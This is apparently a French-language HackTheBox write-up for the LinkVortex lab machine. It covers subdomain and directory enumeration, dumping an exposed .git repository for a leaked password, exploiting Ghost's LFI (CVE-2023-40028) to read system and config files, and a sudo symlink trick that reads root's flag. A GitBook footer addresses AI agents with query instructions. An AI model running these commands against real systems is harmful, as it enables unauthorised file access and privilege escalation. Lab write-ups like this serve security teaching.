> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# Compte rendu HackTheBox de LinkVortex

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération des sous-domaines
* Extraction d'informations depuis le répertoire .git (Git-Dumper)
* Fuite d'informations
* Exploitation LFI (Ghost)
* Exploitation des privilèges Sudo via un script (double lien symbolique)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/e6e5f36d4df9bb3b1aa37c7b4c122e064bab0445" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/85cc2d54760d8e855c37ed53872d171faac4f04a" alt=""><figcaption></figcaption></figure>

**Configuration du fichier /etc/hosts**

Nous ajoutons l'adresse IP de la cible à notre `/etc/hosts` fichier pour faciliter la résolution DNS locale.

<figure><img src="/files/27b6509569fd56ac878c0cf033abc5e426a8b248" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="/files/1d7288b233a6d6e5882ec217864ab4d588574ab1" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80)

<figure><img src="/files/a716d0e7c5c541903cdb843e6d053575d2fd405b" alt=""><figcaption></figcaption></figure>

### **Port 80**

<figure><img src="/files/63750512212925110ecd0eee08eeb09b4c86ce8d" alt=""><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="/files/94db9b1e4a22422811fc7f6703d694cf9dccd69a" alt=""><figcaption></figcaption></figure>

### **Énumération des répertoires**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="/files/222741768ea668021390d51fa7fab15ec100fb59" alt=""><figcaption></figcaption></figure>

### Panneau d'administration - Ghost

<figure><img src="/files/ee4c337a4a0be82616385eadd0451936efcfe4c4" alt=""><figcaption></figcaption></figure>

### **Découverte d'un sous-domaine**

Nous recherchons des sous-domaines associés à `linkvortex.htb` à l'aide de gobuster.

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Nous trouvons le sous-domaine `dev.linkvortex.htb`. Voici la commande pour effectuer cette recherche :

<figure><img src="/files/b2606d16537495fa59b28bd4f333b05c69eeabdd" alt=""><figcaption></figcaption></figure>

Une fois le sous-domaine trouvé, nous l'ajoutons au `/etc/hosts` fichier pour un accès plus facile :

<figure><img src="/files/dc04f1bde67b8b3037b7f8cb5361b9036ca7983b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ff7fbccbd986cbb0682921131abf3f5cf811b246" alt=""><figcaption></figcaption></figure>

#### **Recherche de répertoires dans le nouveau sous-domaine**

Nous recherchons les répertoires existants sur le `dev.linkvortex.htb` sous-domaine en utilisant `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

Nous découvrons le `.git` répertoire, ce qui pourrait indiquer un dépôt Git exposé.

<figure><img src="/files/66d3cfc3f0be8195f112f31a45ae76b68816cf9a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c160bca471b21fd1b3eec71e7d1244b17d88a825" alt=""><figcaption></figcaption></figure>

### **Extraction de fichiers avec Git-Dumper**

Nous utilisons le `git-dumper` pour extraire les fichiers du `.git` répertoire et les analyser :

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="/files/18c6687e2a7ab7c6b0ca268b9f2fbb17464815ae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/21677e568f8a6da45837d4c0438c09ff97ddf598" alt=""><figcaption></figcaption></figure>

Cela nous permet d'obtenir des fichiers sensibles, notamment un fichier de test situé dans `ghost/core/test/regression/api/admin/authentication.test.js`, où nous trouvons un mot de passe :

<figure><img src="/files/c703d7f5d6e12ec5af482164299526cd4d60a75b" alt=""><figcaption></figcaption></figure>

**Mot de passe trouvé :**

```parser
OctopiFociPilfer45
```

<figure><img src="/files/fb0bc75b37380edd348ae9c493ebbb72bb0f0870" alt=""><figcaption></figcaption></figure>

### **Connexion au panneau d'administration Ghost**

Avec ce mot de passe, nous essayons de nous connecter au panneau d'administration Ghost en utilisant l'adresse e-mail `admin@linkvortex.htb`  :

* **E-mail** : `admin@linkvortex.htb`
* **Mot de passe**: `OctopiFociPilfer45`

<figure><img src="/files/4a98bcda63c5827f1c937afaf73fc2f7ebd25341" alt=""><figcaption></figcaption></figure>

## Vulnérabilité Ghost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="/files/d121886305181a359e0e3ce9fb40dab1ee9cdf4a" alt=""><figcaption></figcaption></figure>

> Lors de l'analyse des ports, nous avons identifié que la version de Ghost utilisée (v5.58) est vulnérable à une faille LFI (Local File Inclusion), identifiée par CVE-2023-40028. Pour exploiter cette vulnérabilité, nous téléchargeons le script d'exploitation et modifions l'URL cible pour qu'elle pointe vers notre instance Ghost.

<figure><img src="/files/cfb755faefb43b0a1c0604c755a4cf7ac55e0ea1" alt=""><figcaption></figcaption></figure>

Voici la commande pour lancer l'exploitation :

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

Nous obtenons ensuite un shell et pouvons afficher des fichiers, comme `/etc/passwd`.

<figure><img src="/files/0f0a3edfc57754cf1b41dfc3a3a7b09bd25fa39d" alt=""><figcaption></figcaption></figure>

**Accès à une route interne via LFI**

Dans le `.git` répertoire, nous avons repéré un fichier Docker qui nous fournit une route interne pour accéder à une session : `/var/lib/ghost/config.production.json`.

<figure><img src="/files/2c94515c43655f8b2c5e77e49805bc221d426b35" alt=""><figcaption></figcaption></figure>

Nous utilisons LFI pour lister des fichiers et trouver les identifiants d'un utilisateur nommé Bob :

<figure><img src="/files/10fa85c51bd4ef774efa83067091b132fb516981" alt=""><figcaption></figcaption></figure>

**Identifiants de Bob :**

* **Utilisateur**: `bob@linkvortex.htb`
* **Mot de passe**: `fibber-talented-worth`

Nous nous connectons à la machine cible via SSH en utilisant les identifiants de Bob :

### Drapeau user.txt :)

Nous utilisons le mot de passe `fibber-talented-worth` pour nous connecter et accéder au fichier `user.txt`, où nous trouvons le flag.

<figure><img src="/files/147cc52bf64ed6afb0c457d16aa151f19e4cc3fe" alt=""><figcaption></figcaption></figure>

## Drapeau root.txt :)

### SUDO - Clean/\_synLink.sh

Nous recherchons une vulnérabilité permettant une élévation de privilèges. Nous découvrons un fichier avec des permissions SUID.

<figure><img src="/files/85f19a77cc7f808c600c7c8d618acf26e1e6440f" alt=""><figcaption></figcaption></figure>

#### **Analyse du script de nettoyage des liens symboliques**

> Nous analysons un script nommé `clean_symlink.sh`, qui vérifie si le fichier fourni en argument est un lien symbolique pointant vers un `.png` fichier. Si le lien symbolique pointe vers un fichier critique, le script le supprime. Sinon, il déplace le lien symbolique vers le `/var/quarantined/` répertoire. Si la `CHECK_CONTENT` variable d'environnement est définie sur `true`, le script tente de lire le contenu du fichier.

Voici la commande pour créer les liens symboliques nécessaires à l'exploitation :

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

Puis nous exécutons le script avec la commande suivante pour obtenir le flag root :

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

Nous obtenons ainsi le `root.txt` flag.

<figure><img src="/files/83da8cfdf73a0f50ef97ae0af57129f9ef80158e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bab1873bfb03f6666142fdaa196b30af0e9ef120" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
